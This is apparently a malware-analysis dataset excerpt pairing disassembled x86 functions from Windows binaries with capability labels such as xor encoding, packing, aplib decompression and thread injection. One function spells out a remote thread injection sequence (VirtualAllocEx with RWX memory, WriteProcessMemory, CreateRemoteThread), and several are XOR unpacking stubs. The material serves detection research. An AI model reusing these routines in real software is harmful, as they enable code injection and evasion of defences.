joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402348
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x404070
sub eax, eax
test esi, esi
je 0x402428
sub eax, 1
test ecx, ecx
je 0x402426
test esi, 3
je 0x402386
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40236b
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x40240d
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x402394
mov ecx, edx
test ecx, ecx
je 0x402426
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x402413
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x4025d8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffd8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
push 0x4026e4
push 0x4026f8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x10], eax
push 0x402704
push 0x4026f8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x14], eax
push 0x402710
push 0x4026f8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x18], eax
push 0x40
push 0x3000
movzx eax, word [esp + 8]
add eax, eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [esp + 8]
push eax
movzx eax, word [esp + 4]
add eax, eax
push eax
mov eax, dword [esp + 0xc]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov dword [esp + 0x20], esi
push 0x40
push 0x3000
push 0x18
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [esp + 8]
push eax
push 0x18
lea eax, [esp + 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
mov ebp, 0x4025d4
mov eax, ebp
sub eax, 0x40250c
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 8]
push eax
sub ebp, 0x40250c
push ebp
push 0x40250c
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
lea eax, [esp + 0xc]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
add esp, 0x28
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x402ba8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, eax
mov esi, edx
dec esi
test esi, esi
jl 0x402bcf
inc esi
xor ebx, ebx
mov eax, dword [0x404470]
call fcn.00402864
xor edx, edx
mov dl, byte [edi + ebx]
xor eax, edx
mov byte [edi + ebx], al
inc ebx
dec esi
jne 0x402bb7
pop edi
pop esi
pop ebx
ret

Function at 0x402bd4
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401974
xor eax, eax
push ebp
push 0x402cb6
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0xa
mov eax, dword [ebp - 4]
call fcn.00401984
push eax
mov eax, dword [0x405114]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x402c91
push ebx
mov eax, dword [0x405114]
push eax
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 8], eax
push ebx
mov eax, dword [0x405114]
push eax
call sub.kernel32.dll_LoadResource
mov edi, eax
test edi, edi
je 0x402c91
mov eax, esi
call fcn.00401100
push edi
call sub.kernel32.dll_LockResource
mov dword [ebp - 0xc], eax
mov eax, edi
call fcn.00401fc0
lea eax, [ebp - 0x10]
push eax
push 0x40
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00402ba8
mov eax, dword [ebp - 0xc]
push eax
call fcn.00402430
pop ecx
mov edi, eax
mov eax, edi
call fcn.004010e8
mov esi, eax
push edi
push esi
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.00402454
add esp, 0x10
mov eax, ebx
call fcn.00401fc0
push ebx
call sub.kernel32.dll_FreeResource
mov ebx, esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402cbd
lea eax, [ebp - 4]
call fcn.004016dc
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x1fb2828
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x18f44a30
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40e7f0
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a2ac
xor eax, eax
push ebp
push 0x40e8b0
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040b318
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040b4c8
mov eax, dword [ebx]
call fcn.0040e6a0
test al, al
jne 0x40e88d
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040b318
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040b4c8
mov eax, dword [ebx]
call fcn.0040e6a0
test al, al
jne 0x40e88d
mov eax, ebx
call fcn.0040a1c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e8b7
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040a228
lea eax, [ebp - 4]
call fcn.0040a1c8
ret

Function at 0x4103b4
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x414d98
Capabilities:
Get number of processors

Disassembly:
or ebx, 0x9624
add ebx, 0x9212
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x179bc
xor ecx, 0x56d5
pop ecx
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x260], edx
jmp 0x414dd4

Function at 0x414ef4
Capabilities:
Get number of processors

Disassembly:
cmp dword [ebp - 0x6a0], 0
jle IsWow64Process
push eax
push eax
add esp, 4
xor eax, 0x12f8c
pop eax
push esi
call 0x414ef4
add byte [ebx + 0x3f], cl
dec eax
inc esi
inc eax
inc eax
inc esi
dec edi
inc ebx
add esp, 4
xor esi, 0x38ae
sub esi, 0xfc07
add esi, 0x154fd
pop esi
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x414f8c
push edx
jmp 0x414f27
or edx, 0xfe5f
pop edx
push edx
add edx, 0x13bba
and edx, 0x2c6b
sub al, 0
add byte [edx + 0x56], bl
and esi, 0xbd20
pop esi
push eax
sub eax, 0xb841
sub eax, 0x740c
invalid
pop eax
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x414f74
mov dword [ebp - 0xb4c], 0xffffffff
invalid
xchg ebp, eax
mov edx, dword [ebp - 0x610]
add edx, 1
mov dword [ebp - 0x610], edx
jmp 0x414ecb
Function at 0x414f68
Capabilities:
Get number of processors

Disassembly:
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x260], eax
push eax
and eax, 0x164c0
pop eax
push edi
push ecx
add esp, 4
sub edi, 0x162af
pop edi
push edi
push ecx
add esp, 4
sub edi, 0x3ae5
cmp al, byte [eax]
add byte [ecx + 0x2bfbcf], al
add byte [ecx + 0x670cc7], al
add byte [ecx + 0x1779cc7], al
add byte [edi - 0x75], bl
lea esp, [eax + 0x2bfffffd]
invalid
enter 0xfffffffffffffffd, 0xffffffffffffffff
cmp ecx, 0xffffffff
jb 0x414e4e
push edi
push esi
add esp, 4
call 0x414e2a
add byte [ebx + 0x3a], al
dec ebp
cmp byte [edx], bh
cmp byte [edx], bh
xor eax, dword [ebx + 0x5eb04c4]
dec esp
xor bh, byte [edi + edi]
xor eax, 0xb4a6c781
add byte [eax], al
pop edi
push edx
sub edx, 0x1226
or edx, 0x176d2
pop edx
jmp 0x41504a
mov dword [ebp - 0x6a0], 7
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x60c], edx
push ecx
xor ecx, 0xddd8
and ecx, 0xeee3
and ecx, 0x1101d
pop ecx
push edx
push edi
add esp, 4
add edx, 0x1146e
pop edx
push edi
push ecx
add esp, 4
add edi, 0x1412e
add edi, 0x13668
pop edi
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x6a4], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp - 0xb48]
jne 0x414ecb
mov edx, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], edx
jmp 0x414ffc
mov dword [ebp - 0xb4c], 1
jmp 0x414f7e

Function at 0x414fdc
Capabilities:
Get number of processors

Disassembly:
cmp dword [ebp - 0x6a0], 0
jle IsWow64Process
push eax
push eax
add esp, 4
xor eax, 0x12f8c
pop eax
push esi
call 0x414ef4
add byte [ebx + 0x3f], cl
dec eax
inc esi
inc eax
inc eax
inc esi
dec edi
inc ebx
add esp, 4
xor esi, 0x38ae
sub esi, 0xfc07
add esi, 0x154fd
pop esi
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x414f8c
push edx
jmp 0x414f27
or edx, 0xfe5f
pop edx
push edx
add edx, 0x13bba
and edx, 0x2c6b
sub al, 0
add byte [edx + 0x56], bl
and esi, 0xbd20
pop esi
push eax
sub eax, 0xb841
sub eax, 0x740c
invalid
pop eax
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x414f74
mov dword [ebp - 0xb4c], 0xffffffff
invalid
xchg ebp, eax
mov edx, dword [ebp - 0x610]
add edx, 1
mov dword [ebp - 0x610], edx
jmp 0x414ecb
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0xa004fec
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0xc874a70
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x414dd2
Capabilities:
Encode data using xor

Disassembly:
xor dword [ecx], edx
or eax, eax
add ebx, 1
add ecx, 4
cmp ecx, edi
jne fcn.00414dd2
add esi, 0x76535b40
add eax, 0x32f70734
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401210
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
and esi, 5
inc ebx
rcl edi, 0x89
rcr eax, 0xca
neg edx
sbb esi, 0xf1
sub eax, 0x44
ror edi, 0xeb
inc esi
rcr ebx, 0xa0
bswap edi
neg edx
neg edi
bswap edi
not edi
not edx
inc edx
or edi, 0x81
bswap ebx
bswap edx
and esi, 0x3f
and edx, 0xfc
inc esi
dec eax
inc ebx
neg edi
inc esi
neg eax
rcl edi, 0x63
not ebx
bswap eax
sbb ebx, 0x4b
bswap edx
neg esi
ror ebx, 0xe7
not edx
bswap esi
dec eax
not edx
sub edx, 0x8d
ror esi, 0x1d
ror ebx, 0x15
dec ebx
and eax, 0xf1
add edi, 0x9d
rcr ebx, 0x7f
dec esi
sbb eax, 0xc6
rcr eax, 0x75
bswap edx
xor ecx, ecx
xor edi, edi
neg ebx
not ebx
sub esi, 0xb3
bswap ebx
and edi, 0x40
not edx
rcl edx, 0x4e
mov edi, 0xc4
imul edi
not esi
not ebx
or edx, 0xe4
sbb eax, 0x32
rol eax, 0x92
imul edx
ror eax, 0xfe
mov ebx, 0xe3
inc esi
ror esi, 0x86
rol eax, 0x1a
mov ebx, 0x40
bswap esi
dec eax
bswap edi
neg edx
inc eax
rol edi, 0x1f
dec edx
rol esi, 0xef
sub edx, 0xfd
not esi
bswap esi
rcl ebx, 0xef
bswap edi
rol ebx, 0xdb
not edx
inc ebx
inc esi
rcl ebx, 0xc
neg edx
not eax
add ebx, 0xad
rcl ebx, 0xf6
imul ebx
neg edx
not esi
dec ebx
sub ebx, 0x81
mov edi, 0xd8
rcl edx, 0xb3
mov ecx, dword [ebp + 0xc]
inc ebx
neg esi
and ebx, 0x55
not ebx
rol edi, 0xf4
add esi, 0x64
imul eax
sub edi, 0x9b
bswap edi
bswap ebx
sub edx, 0x17
not ebx
not edx
rcl eax, 0x85
neg eax
neg eax
sub edi, 0xb9
dec edi
mov eax, 0x21
bswap ebx
and edx, 0xf6
rcr eax, 0x92
add ebx, 0x49
ror edi, 0x54
sbb edi, 0x98
mov edi, 0xbd
bswap edi
ror edi, 0xd5
rcr esi, 0xff
bswap edx
or esi, 0xb0
rcl edi, 0xfb
rcr eax, 0xb1
ror edi, 0x5d
imul ebx
imul ebx
rcl edi, 0x84
bswap esi
neg esi
neg eax
rcl esi, 0x57
dec edx
rcl ebx, 0xc3
inc eax
and esi, 0xc2
rcl edi, 0xc0
and ebx, 0xb2
inc edx
not edx
bswap eax
mov edi, dword [ebp + 8]
xor ebx, esi
xor ebx, eax
mov esi, eax
not byte [edi]
xor ebx, esi
xor ebx, ebx
mov ebx, esi
xor eax, ebx
xor eax, ebx
mov ebx, eax
xor esi, ebx
mov ebx, eax
mov ebx, esi
add byte [edi], 0x37
mov ebx, esi
xor esi, esi
mov ebx, ebx
mov ebx, esi
xor eax, esi
mov esi, ebx
mov ebx, eax
mov esi, eax
mov ebx, eax
sub byte [edi], 0x75
mov eax, esi
xor ebx, esi
xor ebx, eax
mov ebx, eax
mov esi, eax
mov eax, ebx
xor ebx, ebx
xor ebx, eax
xor ebx, esi
imul byte [edi]
inc edi
loop 0x4013c5
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x11ba058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.011ba1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x11ba07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11ba06a
add dl, dl
jne 0x11ba089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11ba0dc
xor eax, eax
add dl, dl
jne 0x11ba096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11ba17d
add dl, dl
jne 0x11ba0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11ba0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11ba0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11ba0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x11ba0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x11ba075
mov eax, 1
add dl, dl
jne 0x11ba0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11ba0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11ba0e1
sub eax, ebx
mov ebx, 1
jne 0x11ba128
mov ecx, 1
add dl, dl
jne 0x11ba10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11ba119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11ba105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11ba075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x11ba13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11ba14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11ba136
cmp eax, 0x7d00
jae 0x11ba16d
cmp eax, 0x500
jb 0x11ba168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11ba075
cmp eax, 0x7f
ja 0x11ba170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11ba075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x11ba19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x11ba075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1dfac0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add al, 0xb9
pushfd
push dword [esp + 8]
rol al, 2
stc
cmp al, byte [edi]
pushfd
not ax
lea edi, [edi + 1]
pushfd
lahf
mov eax, dword [esp + 0x48]
push ecx
mov dword [esp], ebx
call fcn.01e03f49
add dword [ecx*4 + 0x423a9a6c], eax
or byte [esi - 0x77], cl
inc esi
mov edi, 0x17ed6332
fsub dword [eax]
jmp 0xce35b576
lea esp, [esp + 0x40]
je fcn.01dea7b0
not dh
not edx
mov esi, dword [eax + 0x3c]
shl dx, cl
sub dh, al
bsf dx, si
pushal
add esi, eax
rol dh, cl
mov edx, dword [esi + 0x78]
push 0x5200b5c5
cmc
test edx, edx
pushal
lea esp, [esp + 0x44]
je fcn.01dea7b0
shrd cx, cx, cl
clc
add edx, eax
mov cx, 0x6178
dec cx
push 0x3c0c6f2b
mov word [esp], 0x4bb4
mov ecx, dword [esi + 0x7c]
stc
jmp 0x1dffe4b
pushfd
sub ecx, dword [edx + 0x10]
clc
cmp ecx, dword [edx + 0x14]
push dword [esp]
push 0x9a57e322
mov byte [esp], 0x71
lea esp, [esp + 0xc]
jae fcn.01dea7b0
push edi
pushfd
lea esp, [esp + 8]
jmp 0x1e04fa4
stc
add ecx, edx
cmp ah, dh
mov dword [ebp - 0x10], ecx
add ch, ch
mov ecx, dword [ebp + 0xc]
test bp, 0x22e3
cmp ecx, 0xffff
pushal
lea esp, [esp + 0x24]
jbe 0x1dfcd53
shrd di, bp, 0xf
bswap edi
inc di
shrd cx, sp, 7
mov edi, dword [edx + 0x24]
add bx, 0x77b3
add edi, eax
movzx bx, cl
shld bx, bx, cl
shld cx, di, cl
mov ebx, dword [edx + 0x20]
and ch, 0x4e
add ebx, eax
mov cl, ah
btr cx, 5
xor cl, 0x59
pushfd
mov dword [ebp - 8], 0
add esp, 4
jle 0x1e03b84
stc
mov ecx, dword [edx + 0x18]
cmc
test dh, 0xe
cmp ecx, dword [ebp - 8]
call fcn.01e06369
push eax
pushfd
push dword [esp + 4]
ret 8
mov dword [esp + 0x28], eax
mov byte [esp + 0xc], ah
push ebp
lodsb al, byte [esi]
mov byte [esp], 0xca
ror al, 3
pushfd
push edi
bt bx, sp
stc
not al
bt ecx, ebp
push 0x3aa73249
jmp 0x1dee469
rol si, cl
sub ecx, 1
neg edi
movzx di, al
push 0x6551258e
mov dword [ebp - 4], ecx
or ch, 0x29
btr di, ax
mov ecx, dword [ebp - 8]
bt cx, di
shld di, bp, 0xf
xadd si, di
add ecx, dword [ebp - 4]
adc si, di
clc
clc
rcr di, cl
shr ecx, 1
dec si
shrd di, cx, cl
mov edi, dword [ebx + ecx*4]
bt ax, 7
bsr si, bx
dec si
btc si, 6
add edi, eax
push dword [esp]
mov esi, dword [ebp + 0xc]
mov byte [esp + 4], 0xe
pushal
push esp
jmp 0x1e01294
and ch, bl
mov ecx, dword [edx + 0x18]
cmp eax, 0x864295c1
pushfd
stc
cmp cx, di
cmp ecx, dword [ebp - 8]
pushal
pushfd
lea esp, [esp + 0x28]
jbe fcn.01dea7b0
shrd si, sp, cl
jmp 0x1e0190d
invalid
push esi
inc di
lea edi, [edi + 0x5295c15b]
stc
mov edi, dword [edx + 0x1c]
pushfd
pushal
test bl, 0xa5
add edi, eax
call fcn.01df218b
mov edx, 0x537d0ea
cmp al, 0x42
fstp qword [esi - 0x7db471e6]
jns 0x1e04f6f
mov ebx, 0x257c0610
int1
jno 0x1e0504c
lodsb al, byte [esi]
xlatb
xchg esi, eax
sub al, 0xa2
cmpsb byte [esi], byte es:[edi]
mov edx, 0xdfa992c1
invalid
sbb dword [0x6c06cd76], edi
mov esi, 0xd5a84bf6
retf
Function at 0x4059bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40fba0
cmp edx, dword [eax]
je 0x4059df
add eax, 8
inc ecx
cmp eax, 0x40fc30
jl 0x4059d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40fba0]
jne 0x405b0d
mov eax, dword [0x41f1f0]
cmp eax, 1
je 0x405ae7
test eax, eax
jne 0x405a10
cmp dword [0x40faec], 1
je 0x405ae7
cmp edx, 0xfc
je 0x405b0d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405a47
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004067c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405e80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x405a8a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405e80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40841c
push edi
call fcn.00406940
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004067c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004067d0
lea eax, [ebp - 0xa0]
push 0x4083fc
push eax
call fcn.004067d0
push dword [esi + 0x40fba4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004067d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004068b0
add esp, 0x2c
pop edi
jmp 0x405b0d
lea eax, [ebp + 8]
lea esi, [esi + 0x40fba4]
push 0
push eax
push dword [esi]
call fcn.00405e80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
